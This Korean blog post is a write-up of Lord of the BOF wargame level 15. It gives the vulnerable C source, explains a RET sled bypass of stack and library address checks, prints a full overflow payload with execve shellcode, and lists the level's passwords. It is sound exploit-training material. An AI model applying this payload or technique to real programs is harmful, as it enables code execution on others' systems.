yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 15번 풀이 (giant) 본문

wargame 풀이/LOB

LOB 15번 풀이 (giant)

yehey 2021. 1. 1. 23:32
id: giant
pw: one step closer
/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

 

  • argc<2
  • ret 주소 '0xbf' 로 시작하는 영역 (stack) 사용 불가
  • ret 주소 '0x40' 로 시작하는 영역 (library) 사용 불가
  • RTL 불가
  • buffer 초기화
  • argv[1] 길이 제한 없음

이번에는 stack 영역 뿐만 아니라 library 영역의 주소 또한 ret에 넣을 수 없다.

어떤 방법을 사용할지 고민하면서 assassin을 디스어셈블 해보았다.

 

0x40과 0xbf 로 시작하지 않는 주소는 생각보다 가까이에 있었다. 실행 코드들의 주소가 '0x08'로 시작했다.

원래 ret는 다음 실행할 코드의 주소를 가지고 있다. 따라서 특정 코드의 주소를 담아서 원하는 코드를 실행하게끔 해야한다. 

그럼 적절한 주소는 뭐가 있을까? 

 

ret에 ret 명령어 주소를 다시 담는 RET sled라는 공격 기법이 있다.

이를 이용해보자!

 

 

 

 

 

 

 

 

왼쪽 그림처럼 원래 ret 자리에 ret 코드의 주소를 넣어주면 한번 더 ret 명령어로 이동한다.

그리고 2번째 ret에 shellcode의 주소를 넣어주면 원본 ret의 값은 '0xbf', '0x40'으로 시작하지 않기 때문에 파일이 exit 되지 않는다.

그리고 2번째 ret에서 쉘 코드가 실행될 것이다.

 

 

그럼 이제 ret 코드의 주소를 알아내보자

 

ret 코드는 0x0804851e에 저장되어 있다.

이를 원본 ret에 넣어주자.

 

그리고 gdb를 이용해서 적절한 곳에 breakpoint를 걸어주고 쉘 코드가 들어갈 곳의 주소를 얻어보자.

즉, 2번째 ret에 넣을 주소를 구하자

 

쉘 코드의 주소는 0xbffffc08이다.

 

그럼 이제 payload를 작성해보자

 

payload: ./assassin `python -c 'print "A"*44+ "\x1e\x85\x04\x08"+ "\x08\xfc\xff\xbf"+"\x90"*100+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

assassin의 pw: "pushing me away"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 17번 풀이 (zombie_assassin)  (0) 2021.01.03
LOB 16번 풀이 (assassin)  (0) 2021.01.02
LOB 14번 풀이 (bugbear)  (0) 2020.12.31
LOB 13번 풀이 (darkknight)  (0) 2020.12.30
LOB 12번 풀이 (golem)  (0) 2020.12.30
Comments